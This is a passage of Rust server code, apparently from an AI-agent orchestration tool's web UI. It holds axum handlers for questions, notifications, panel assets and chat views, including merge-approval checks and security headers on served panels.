7692 Some(_) if q.deputy.is_some() => "deputy",
7693 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7694 Some(_) => "asker",
7695 None => "nobody",
7696 })
7697}
7698
7699async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7705 blocking(move || {
7706 let questions = ui.questions.list();
7707 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7708 Ok(Json(
7709 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7710 .into_iter()
7711 .map(|view| view.with_origin(&tasks, &talks, &watches))
7712 .collect(),
7713 ))
7714 })
7715 .await
7716}
7717
7718async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7720 blocking(move || {
7721 Ok(Json(question_views(
7722 ui.questions.list(),
7723 &ui.questions,
7724 || deputy_config(&ui.repo),
7725 )))
7726 })
7727 .await
7728}
7729
7730fn question_record_revision(question: &Question) -> String {
7731 use std::hash::{Hash as _, Hasher as _};
7732 let mut hash = std::hash::DefaultHasher::new();
7733 serde_json::to_vec(question)
7734 .expect("serializable question")
7735 .hash(&mut hash);
7736 format!("{:016x}", hash.finish())
7737}
7738
7739#[derive(Serialize)]
7740struct QuestionOriginView {
7741 id: String,
7742 record_revision: String,
7743 origin_chat: Option<String>,
7744 origin_chat_closed: bool,
7745 can_consult_chat: bool,
7746}
7747
7748async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7749 blocking(move || {
7750 let questions = ui.questions.list();
7751 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7752 Ok(Json(
7753 questions
7754 .into_iter()
7755 .map(|question| {
7756 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7757 let can_consult_chat = consult.is_some();
7758 let talk = crate::consult::associated_talk_with_watches(
7759 &tasks, &talks, &question, &watches,
7760 );
7761 QuestionOriginView {
7762 record_revision: question_record_revision(&question),
7763 id: question.id,
7764 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7765 origin_chat: talk.map(|talk| talk.id),
7766 can_consult_chat,
7767 }
7768 })
7769 .collect(),
7770 ))
7771 })
7772 .await
7773}
7774
7775type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7776
7777fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7781 fn task_for_run(
7782 ui: &Ui,
7783 index: &mut Option<Vec<Arc<TaskRelation>>>,
7784 run: &str,
7785 loaded: &HashMap<String, Task>,
7786 ) -> ApiResult<Option<Task>> {
7787 if !plain_record_id(run) {
7788 return Ok(None);
7789 }
7790 if index.is_none() {
7791 *index = Some(ui.indexed_tasks()?);
7792 }
7793 Ok(index
7794 .as_ref()
7795 .expect("loaded index")
7796 .iter()
7797 .find(|task| task.runs.iter().any(|id| id == run))
7798 .and_then(|task| {
7799 loaded
7800 .get(&task.id)
7801 .cloned()
7802 .or_else(|| ui.queue.get(&task.id).ok())
7803 })
7804 .filter(|task| task.runs.iter().any(|id| id == run)))
7805 }
7806 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7807 plain_record_id(id)
7808 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7809 .flatten()
7810 .filter(|task| task.id == id)
7811 };
7812 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7813 let mut index = None;
7814 let mut tasks = HashMap::new();
7815 let mut talks = HashMap::new();
7816 for question in questions {
7817 for reference in crate::consult::question_task_refs(question, &watches) {
7818 let mut current = match reference {
7819 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7820 crate::consult::QuestionTaskRef::Run(id) => {
7821 task_for_run(ui, &mut index, id, &tasks)?
7822 }
7823 };
7824 let mut seen = HashSet::new();
7825 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7826 let Some(task) = current.take() else {
7827 break;
7828 };
7829 if !seen.insert(task.id.clone()) {
7830 break;
7831 }
7832 let chat = task.chat_talk().map(str::to_owned);
7833 let followup = task.followup.clone();
7834 tasks.insert(task.id.clone(), task);
7835 if let Some(chat) = chat {
7836 if plain_record_id(&chat)
7837 && !talks.contains_key(&chat)
7838 && let Ok(talk) = ui.talks.get(&chat)
7839 {
7840 talks.insert(chat, talk);
7841 }
7842 break;
7843 }
7844 let Some(followup) = followup else {
7845 break;
7846 };
7847 current = match followup.origin_task {
7848 Some(id) => direct_task(&id, &tasks),
7849 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7850 };
7851 }
7852 }
7853 }
7854 let mut tasks: Vec<Task> = tasks.into_values().collect();
7855 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7856 Ok((tasks, talks.into_values().collect(), watches))
7857}
7858
7859async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7862 blocking(move || {
7863 let items = ui.notices.list();
7864 let unread = items.iter().filter(|n| n.unread()).count();
7865 let items: Vec<_> = items
7866 .into_iter()
7867 .map(|n| {
7868 let question = crate::notices::answerable_question(&n, &ui.questions);
7869 let mut item = serde_json::to_value(n)?;
7870 item["answerable_question"] = serde_json::json!(question);
7871 Ok(item)
7872 })
7873 .collect::<anyhow::Result<_>>()?;
7874 Ok(Json(
7875 serde_json::json!({ "unread": unread, "items": items }),
7876 ))
7877 })
7878 .await
7879}
7880
7881fn notice_error(e: anyhow::Error) -> ApiError {
7882 ApiError::not_found(format!("{e:#}"))
7885}
7886
7887async fn notification_read(
7889 State(ui): State<Arc<Ui>>,
7890 Path(id): Path<String>,
7891) -> ApiResult<Json<Notice>> {
7892 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7893}
7894
7895async fn notification_dismiss(
7897 State(ui): State<Arc<Ui>>,
7898 Path(id): Path<String>,
7899) -> ApiResult<Json<Notice>> {
7900 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7901}
7902
7903async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7905 blocking(move || {
7906 let changed = ui.notices.mark_all_read()?;
7907 Ok(Json(serde_json::json!({ "marked": changed })))
7908 })
7909 .await
7910}
7911
7912#[derive(Debug, Default, Deserialize)]
7918#[serde(default, deny_unknown_fields)]
7919struct NewAnswer {
7920 choice: Option<String>,
7921 text: Option<String>,
7922 talk: Option<String>,
7923 head: Option<String>,
7924}
7925
7926async fn question_answer(
7927 State(ui): State<Arc<Ui>>,
7928 Path(id): Path<String>,
7929 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7930) -> ApiResult<Json<QuestionView>> {
7931 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7932 let answer = match (body.choice, body.text) {
7933 (Some(c), None) => Answer::Choice(c),
7934 (None, Some(t)) => Answer::Text(t),
7935 (Some(_), Some(_)) => {
7936 return Err(ApiError::bad_request(
7937 "send either `choice` or `text`, not both",
7938 ));
7939 }
7940 (None, None) => {
7941 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7942 }
7943 };
7944
7945 blocking(move || {
7946 let id = resolve_question(&ui.questions, &id)?;
7947 let q = ui
7948 .questions
7949 .get(&id)
7950 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7951 if !q.status.open() {
7952 return Err(ApiError::conflict(format!(
7956 "question {} is already {}",
7957 q.short(),
7958 q.status.as_str()
7959 )));
7960 }
7961 let cfg = deputy_config(&ui.repo);
7965 let (q, ()) = ui
7966 .questions
7967 .update(&q.id, |r| {
7968 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7969 if r.routed_task.is_some()
7972 && r.merge_target.is_some()
7973 && merge
7974 && (body.talk.is_some() || body.head.is_some())
7975 {
7976 let talk_id = body
7977 .talk
7978 .as_deref()
7979 .context("approval button requires its chat")?;
7980 let head = body
7981 .head
7982 .as_deref()
7983 .context("approval button requires the displayed head")?;
7984 let talk = ui.talks.get(talk_id)?;
7985 anyhow::ensure!(talk.status.open(), "approval chat is closed");
7986 r.answer_chat_button(answer, talk_id, head)
7987 } else {
7988 r.answer(answer)
7989 }
7990 })
7991 .map_err(ApiError::bad_request_from)?;
7992 let (tasks, talks, watches) =
7993 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7994 Ok(Json(
7995 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7996 ))
7997 })
7998 .await
7999}
8000
8001fn question_text_error(e: anyhow::Error) -> ApiError {
8003 let reason = e
8004 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8005 .map(|e| e.reason);
8006 let error = ApiError::bad_request_from(e);
8007 if let Some(reason) = reason {
8008 ApiError {
8009 text_reason: Some(reason),
8010 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8011 }
8012 } else {
8013 error
8014 }
8015}
8016
8017#[derive(Debug, Deserialize)]
8019#[serde(deny_unknown_fields)]
8020struct NewSay {
8021 body: String,
8022}
8023
8024async fn question_say(
8034 State(ui): State<Arc<Ui>>,
8035 Path(id): Path<String>,
8036 body: std::result::Result<Json<NewSay>, JsonRejection>,
8037) -> ApiResult<Json<QuestionView>> {
8038 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8039 blocking(move || {
8040 let id = resolve_question(&ui.questions, &id)?;
8041 let q = ui
8042 .questions
8043 .get(&id)
8044 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8045 if !q.status.open() {
8046 return Err(ApiError::conflict(format!(
8050 "question {} is already {}",
8051 q.short(),
8052 q.status.as_str()
8053 )));
8054 }
8055 let cfg = deputy_config(&ui.repo);
8058 let (q, ()) = ui
8059 .questions
8060 .update(&q.id, |r| {
8061 if body.body.trim().is_empty() {
8062 return r.say(body.body);
8063 }
8064 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8065 r.say(body.body)
8066 })
8067 .map_err(question_text_error)?;
8068 let (tasks, talks, watches) =
8069 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8070 Ok(Json(
8071 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8072 ))
8073 })
8074 .await
8075}
8076
8077async fn admitted<T: Send + 'static>(
8080 admission: AdmissionGuard,
8081 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8082) -> ApiResult<T> {
8083 tokio::spawn(async move {
8084 let result = work.await;
8085 drop(admission);
8086 result
8087 })
8088 .await
8089 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8090}
8091
8092async fn question_consult(
8101 State(ui): State<Arc<Ui>>,
8102 Path(id): Path<String>,
8103) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8104 let admission = ui.begin_admission()?;
8105 admitted(admission, async move {
8106 let (q, tasks, talks, watches, talk, cfg) = blocking({
8107 let ui = Arc::clone(&ui);
8108 move || {
8109 let id = resolve_question(&ui.questions, &id)?;
8110 let q = ui.questions.get(&id).map_err(|e| {
8111 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8112 })?;
8113 if !q.status.open() {
8114 return Err(ApiError::conflict(format!(
8115 "question {} is already {}",
8116 q.short(),
8117 q.status.as_str()
8118 )));
8119 }
8120 let (tasks, talks, watches) =
8121 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8122 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8123 return Err(ApiError::conflict(format!(
8124 "question {} has no chat to ask",
8125 q.short()
8126 )));
8127 };
8128 let cfg = if q.consult.is_none() {
8132 Some(Config::discover(&talk.repo, None)?.0)
8133 } else {
8134 None
8135 };
8136 Ok((q, tasks, talks, watches, talk, cfg))
8137 }
8138 })
8139 .await?;
8140 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8141 .await
8142 .map_err(ApiError::from)?;
8143 let (view, reclaimed, submitted) = blocking({
8144 let ui = Arc::clone(&ui);
8145 move || {
8146 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8147 let claim = if fresh {
8148 match ui.begin_queued_talk_turn(&talk.id)? {
8149 Some(turn_guard) => {
8150 let talk = ui.talks.get(&talk.id)?;
8151 let cfg = match cfg {
8152 Some(cfg) => cfg,
8153 None => Config::discover(&talk.repo, None)?.0,
8154 };
8155 Some((talk, cfg, turn_guard))
8156 }
8157 None => None,
8158 }
8159 } else {
8160 None
8161 };
8162 let q = ui.questions.get(&q.id)?;
8163 let cfg = deputy_config(&ui.repo);
8164 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8165 .with_origin(&tasks, &talks, &watches);
8166 Ok((view, claim, fresh.then_some(talk.id)))
8167 }
8168 })
8169 .await?;
8170 #[cfg(not(test))]
8171 {
8172 if let Some(id) = submitted {
8173 crate::consult::spawn_turn(&ui.talks, &id)
8174 .await
8175 .map_err(ApiError::from)?;
8176 }
8177 drop(reclaimed);
8178 }
8179 #[cfg(test)]
8180 let _ = submitted;
8181 #[cfg(test)]
8182 if let Some((talk, cfg, turn_guard)) = reclaimed {
8183 let talks = ui.talks.clone();
8184 let id = talk.id.clone();
8185 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8186 }
8187 Ok((StatusCode::ACCEPTED, Json(view)))
8188 })
8189 .await
8190}
8191
8192fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8194 if plain_record_id(id) && store.path_of(id).is_file() {
8195 return Ok(id.to_owned());
8196 }
8197 pick(
8198 store.list().into_iter().map(|q| q.id).collect(),
8199 id,
8200 "question",
8201 )
8202}
8203
8204async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8219 blocking(move || {
8220 let id = resolve_question(&ui.questions, &id)?;
8221 let Some(html) = ui.questions.panel_html(&id) else {
8222 return Err(ApiError::not_found(format!("question {id} has no panel")));
8223 };
8224 Ok(panel_response(
8225 "text/html; charset=utf-8",
8226 false,
8227 html.into_bytes(),
8228 ))
8229 })
8230 .await
8231}
8232
8233async fn question_asset(
8261 State(ui): State<Arc<Ui>>,
8262 Path((id, name)): Path<(String, String)>,
8263) -> ApiResult<Response> {
8264 if !crate::ask::valid_asset_name(&name) {
8267 return Err(ApiError::bad_request(format!(
8268 "`{name}` is not a usable asset name"
8269 )));
8270 }
8271 blocking(move || {
8272 let id = resolve_question(&ui.questions, &id)?;
8273 let asset = ui
8274 .questions
8275 .panel_asset(&id, &name)
8276 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8277 let Some(bytes) = asset else {
8278 return Err(ApiError::not_found(format!(
8279 "question {id} has no asset `{name}`"
8280 )));
8281 };
8282 Ok(panel_response(
8283 asset_content_type(&name),
8284 is_svg(&name),
8285 bytes,
8286 ))
8287 })
8288 .await
8289}
8290
8291fn asset_content_type(name: &str) -> &'static str {
8304 match extension(name).as_deref() {
8305 Some("png") => "image/png",
8306 Some("jpg" | "jpeg") => "image/jpeg",
8307 Some("gif") => "image/gif",
8308 Some("webp") => "image/webp",
8309 Some("svg") => "image/svg+xml",
8310 Some("css") => "text/css; charset=utf-8",
8311 Some("txt") => "text/plain; charset=utf-8",
8312 _ => "application/octet-stream",
8313 }
8314}
8315
8316fn is_svg(name: &str) -> bool {
8319 extension(name).as_deref() == Some("svg")
8320}
8321
8322fn extension(name: &str) -> Option<String> {
8324 name.rsplit_once('.')
8325 .map(|(_, ext)| ext.to_ascii_lowercase())
8326}
8327
8328fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8345 let mut res = (
8346 [
8347 (header::CONTENT_TYPE, content_type),
8348 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8349 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8350 (header::REFERRER_POLICY, "no-referrer"),
8351 ],
8352 body,
8353 )
8354 .into_response();
8355 if download {
8356 res.headers_mut().insert(
8357 header::CONTENT_DISPOSITION,
8358 HeaderValue::from_static("attachment"),
8359 );
8360 }
8361 res
8362}
8363
8364#[derive(Debug, Serialize)]
8370struct ChatApproval {
8371 question: String,
8372 target: crate::merge_decision::Target,
8373}
8374
8375#[derive(Debug, Serialize)]
8376struct TalkView {
8377 #[serde(flatten)]
8378 talk: Talk,
8379 turn_bodies_md: Vec<Vec<md::Node>>,
8380 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8382 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8383 merge_approvals: Vec<ChatApproval>,
8384 thinking: bool,
8392 context: talk::ContextUsage,
8396 operator_name: Option<String>,
8399 persona_name: Option<String>,
8401 persona_avatar: String,
8404 operator_avatar: String,
8406 magi_avatar: String,
8407}
8408
8409impl TalkView {
8410 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8413 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8414 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8415 }
8416
8417 fn with_config(
8420 talk: Talk,
8421 thinking: bool,
8422 cfg: Option<&Config>,
8423 home: &FsPath,
8424 cache: &id_links::IndexCache,
8425 ) -> Self {
8426 let references = cache.for_talk(home, &talk);
8427 Self::with_references(talk, thinking, cfg, home, &references)
8428 }
8429
8430 fn with_references(
8431 mut talk: Talk,
8432 thinking: bool,
8433 cfg: Option<&Config>,
8434 home: &FsPath,
8435 references: &id_links::IdIndex,
8436 ) -> Self {
8437 let snapshot = talk.clone();
8439 for (index, turn) in talk.turns.iter_mut().enumerate() {
8440 let original = &snapshot.turns[index];
8441 if turn.messages.is_empty() {
8442 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8443 turn.messages.push(talk::Message {
8444 sender: Some(talk::Sender::Magi),
8445 body: original.body.clone(),
8446 display: Some(display),
8447 attachments: original.attachments.clone(),
8448 reply: None,
8449 });
8450 }
8451 } else {
8452 for (i, message) in turn.messages.iter_mut().enumerate() {
8453 message.display =
8454 talk::notice_display(&snapshot, original, original.messages.get(i));
8455 if message.display.is_some() {
8456 message.sender = Some(talk::Sender::Magi);
8457 }
8458 }
8459 }
8460 }
8461 for message in &mut talk.pending_messages {
8462 if message.display.is_none()
8463 && (message.sender == Some(talk::Sender::Magi)
8464 || snapshot
8465 .completion_notices
8466 .iter()
8467 .any(|r| r.notice == message.body))
8468 {
8469 message.display = crate::prompt::legacy_notice_display(&message.body);
8470 if message.display.is_some() {
8471 message.sender = Some(talk::Sender::Magi);
8472 }
8473 }
8474 }
8475 if talk.pending_messages.is_empty()
8476 && snapshot
8477 .completion_notices
8478 .iter()
8479 .any(|r| r.notice == talk.pending)
8480 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8481 {
8482 talk.pending_messages.push(talk::Message {
8483 sender: Some(talk::Sender::Magi),
8484 display: Some(display),
8485 body: talk.pending.clone(),
8486 attachments: talk.pending_attachments.clone(),
8487 reply: None,
8488 });
8489 }
8490 let excerpts: Vec<Vec<Option<String>>> = talk
8491 .turns
8492 .iter()
8493 .map(|turn| {
8494 turn.messages
8495 .iter()
8496 .map(|m| {
8497 m.display
8498 .as_ref()
8499 .map(|d| d.facts.chars().take(240).collect())
8500 })
8501 .collect()
8502 })
8503 .collect();
8504 for turn in &mut talk.turns {
8505 let provenance = talk::sender(turn, None);
8506 turn.sender = Some(provenance);
8507 for message in &mut turn.messages {
8508 message.sender = Some(message.sender.unwrap_or(provenance));
8509 }
8510 }
8511 let senders: Vec<Vec<talk::Sender>> = talk
8513 .turns
8514 .iter()
8515 .map(|turn| {
8516 if turn.messages.is_empty() {
8517 vec![talk::sender(turn, None)]
8518 } else {
8519 turn.messages
8520 .iter()
8521 .map(|m| talk::sender(turn, Some(m)))
8522 .collect()
8523 }
8524 })
8525 .collect();
8526 for reply in talk
8527 .turns
8528 .iter_mut()
8529 .flat_map(|t| t.messages.iter_mut())
8530 .chain(talk.pending_messages.iter_mut())
8531 .filter_map(|m| m.reply.as_mut())
8532 {
8533 if let Some(Some(excerpt)) = excerpts
8534 .get(reply.target.turn)
8535 .and_then(|ms| ms.get(reply.target.message))
8536 {
8537 reply.excerpt = excerpt.clone();
8538 reply.sender = Some(talk::Sender::Magi);
8539 }
8540 if reply.sender.is_none() {
8541 reply.sender = senders
8542 .get(reply.target.turn)
8543 .and_then(|messages| messages.get(reply.target.message))
8544 .copied();
8545 }
8546 }
8547 let context = talk::context_usage(&talk, cfg);
8548 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8549 .turns
8550 .iter()
8551 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8552 .collect();
8553 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8554 .turns
8555 .iter()
8556 .map(|turn| {
8557 if turn.messages.is_empty() {
8558 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8559 } else {
8560 turn.messages
8561 .iter()
8562 .map(|message| {
8563 notice_markdown(
8564 message.sender.unwrap_or(talk::Sender::Operator),
8565 &message.body,
8566 message.display.as_ref(),
8567 )
8568 })
8569 .collect()
8570 }
8571 })
8572 .collect();
8573 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8574 .pending_messages
8575 .iter()
8576 .map(|message| {
8577 notice_markdown(
8578 message.sender.unwrap_or(talk::Sender::Operator),
8579 &message.body,
8580 message.display.as_ref(),
8581 )
8582 })
8583 .collect();
8584 for nodes in &mut turn_bodies_md {
8585 references.markdown(nodes);
8586 }
8587 for nodes in turn_messages_md
8588 .iter_mut()
8589 .flatten()
8590 .chain(pending_messages_md.iter_mut())
8591 .flatten()
8592 {
8593 references.markdown(nodes);
8594 }
8595 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8596 let persona_name = persona::find(specs, &talk.persona)
8597 .filter(|p| !p.is_default())
8598 .map(|p| p.name);
8599 let mut avatar_persona = persona::find(specs, &talk.persona)
8600 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8601 if avatar_persona.id != talk.persona
8603 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8604 {
8605 avatar_persona.id.clone_from(&talk.persona);
8606 avatar_persona.icon = None;
8607 }
8608 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8609 let approvals_store = ask::Questions::at(home.join("questions"));
8610 let merge_approvals = talk
8611 .notified
8612 .iter()
8613 .filter_map(|key| key.strip_prefix("question:"))
8614 .filter_map(|id| approvals_store.get(id).ok())
8615 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8616 .filter_map(|q| {
8617 Some(ChatApproval {
8618 question: q.id,
8619 target: q.merge_target?,
8620 })
8621 })
8622 .collect();
8623 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8624 Self {
8625 turn_bodies_md,
8626 turn_messages_md,
8627 pending_messages_md,
8628 merge_approvals,
8629 thinking,
8630 context,
8631 operator_name,
8632 persona_name,
8633 persona_avatar,
8634 magi_avatar: magi_icon_url(home),
8635 operator_avatar: operator_icon_url(home),
8636 talk,
8637 }
8638 }
8639}
8640
8641fn notice_markdown(
8643 sender: talk::Sender,
8644 body: &str,
8645 display: Option<&crate::prompt::NoticeDisplay>,
8646) -> Option<Vec<md::Node>> {
8647 if sender != talk::Sender::Magi {
8648 return None;
8649 }
8650 let text = if let Some(display) = display {
8651 display.facts.as_str()
8652 } else {
8653 if crate::prompt::is_completion_notice(body)
8656 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8657 {
8658 return None;
8659 }
8660 body.strip_prefix("magi: ").unwrap_or(body)
8661 };
8662 Some(md::to_nodes(text, &md::ImageBase::None))
8663}
8664
8665#[derive(Debug, Serialize)]
8670struct TalkDetailView {
8671 #[serde(flatten)]
8672 view: TalkView,
8673 tasks: Vec<TaskView>,
8674 task_progress: TalkTaskProgress,
8675 roster: Vec<RosterEntry>,
8678 personas: Vec<PersonaEntry>,
8681}
8682
8683#[derive(Debug, Serialize)]
8685struct TalkTaskProgress {
8686 state: &'static str,
8687 total: usize,
8688 done: usize,
8689 counts: std::collections::BTreeMap<&'static str, usize>,
8690 unfinished_ids: Vec<String>,
8691}
8692
8693fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8694 let mut counts = std::collections::BTreeMap::from([
8695 ("queued", 0),
8696 ("running", 0),
8697 ("done", 0),
8698 ("failed", 0),
8699 ("held", 0),
8700 ("blocked", 0),
8701 ("parked", 0),
8702 ]);
8703 let mut unfinished_ids = Vec::new();
8704 for task in tasks {
8705 *counts.entry(task.status.as_str()).or_default() += 1;
8706 if task.status != TaskStatus::Done {
8707 unfinished_ids.push(task.id.clone());
8708 }
8709 }
8710 TalkTaskProgress {
8711 state: if tasks.is_empty() {
8712 "none"
8713 } else if unfinished_ids.is_empty() {
8714 "complete"
8715 } else {
8716 "incomplete"
8717 },
8718 total: tasks.len(),
8719 done: tasks.len() - unfinished_ids.len(),
8720 counts,
8721 unfinished_ids,
8722 }
8723}
8724
8725#[derive(Debug, Serialize)]
8727struct PersonaEntry {
8728 id: String,
8729 name: String,
8730 avatar: String,
8732}
8733
8734#[derive(Debug, Serialize)]
8736struct RosterEntry {
8737 id: String,
8738 kind: AgentKind,
8739 runnable: bool,
8741}
8742
8743async fn talks_list(
8745 State(ui): State<Arc<Ui>>,
8746 Query(q): Query<ListQuery>,
8747 headers: header::HeaderMap,
8748) -> ApiResult<Json<Vec<TalkListView>>> {
8749 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8750 let limit = q.limit.unwrap_or(50).min(50);
8751 let ids = if let Some(ids) = q.ids {
8752 ids.split(',')
8753 .filter(|id| plain_record_id(id))
8754 .take(limit)
8755 .map(str::to_owned)
8756 .collect()
8757 } else {
8758 page_ids(&ui, true, PageQuery::default())?
8759 .0
8760 .into_iter()
8761 .take(limit)
8762 .collect()
8763 };
8764 Ok(Json(talk_rows(&ui, ids, &headers)))
8765 })
8766 .await
8767}
8768
8769#[derive(Debug, Default, Deserialize)]
8774#[serde(default)]
8775struct NewTalk {
8776 agent: Option<String>,
8777 repo: Option<PathBuf>,
8778 preferred_agent: Option<serde_json::Value>,
8782 persona: Option<serde_json::Value>,
8783 implementers: Option<serde_json::Value>,
8784}
8785
8786async fn talk_post(
8789 State(ui): State<Arc<Ui>>,
8790 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8791) -> ApiResult<impl IntoResponse> {
8792 let body = match body {
8796 Ok(Json(body)) => body,
8797 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8798 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8799 };
8800 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8801 let cfg = config_for(&repo).await?;
8802 let view = blocking(move || {
8803 let preferred = talk::Preferred {
8804 agent: body
8805 .preferred_agent
8806 .as_ref()
8807 .and_then(|v| v.as_str())
8808 .map(str::to_owned),
8809 persona: body
8810 .persona
8811 .as_ref()
8812 .and_then(|v| v.as_str())
8813 .map(str::to_owned),
8814 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8815 };
8816 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8817 let thinking = ui.is_thinking(&talk.id);
8818 Ok(TalkView::new(talk, thinking, &ui))
8819 })
8820 .await?;
8821 Ok((StatusCode::CREATED, Json(view)))
8822}
8823
8824async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8826 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
8828 let id = resolve_talk(&ui.talks, &id)?;
8829 let talk = ui.talks.get(&id)?;
8830 let thinking = ui.is_thinking_observed(&id);
8831 Ok(Json(TalkView::with_references(
8834 talk,
8835 thinking,
8836 None,
8837 &ui.home,
8838 &id_links::IdIndex::default(),
8839 )))
8840 })
8841 .await
8842}
8843
8844async fn talk_sections(
8845 State(ui): State<Arc<Ui>>,
8846 Path(id): Path<String>,
8847) -> ApiResult<Json<serde_json::Value>> {
8848 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8849 let id = resolve_talk(&ui.talks, &id)?;
8850 let talk = ui.talks.get(&id)?;
8851 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8852 let task_progress = talk_task_progress(&tasks);
8853 let tasks: Vec<_> = tasks
8854 .into_iter()
8855 .map(|task| {
8856 serde_json::json!({
8857 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8858 })
8859 })
8860 .collect();
8861 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8862 let roster: Vec<_> = cfg
8863 .as_ref()
8864 .map(|cfg| {
8865 cfg.agents
8866 .iter()
8867 .map(|a| RosterEntry {
8868 id: a.id.clone(),
8869 kind: a.kind,
8870 runnable: agent::installed(a),
8871 })
8872 .collect()
8873 })
8874 .unwrap_or_default();
8875 let specs = cfg
8876 .as_ref()
8877 .map(|cfg| cfg.talk.personas.clone())
8878 .unwrap_or_default();
8879 let personas: Vec<_> = persona::catalog(&specs)
8880 .into_iter()
8881 .map(|p| PersonaEntry {
8882 avatar: avatar_url(&ui.home, &talk.id, &p),
8883 id: p.id,
8884 name: p.name,
8885 })
8886 .collect();
8887 let active_persona = persona::find(&specs, &talk.persona)
8888 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8889 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8890 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
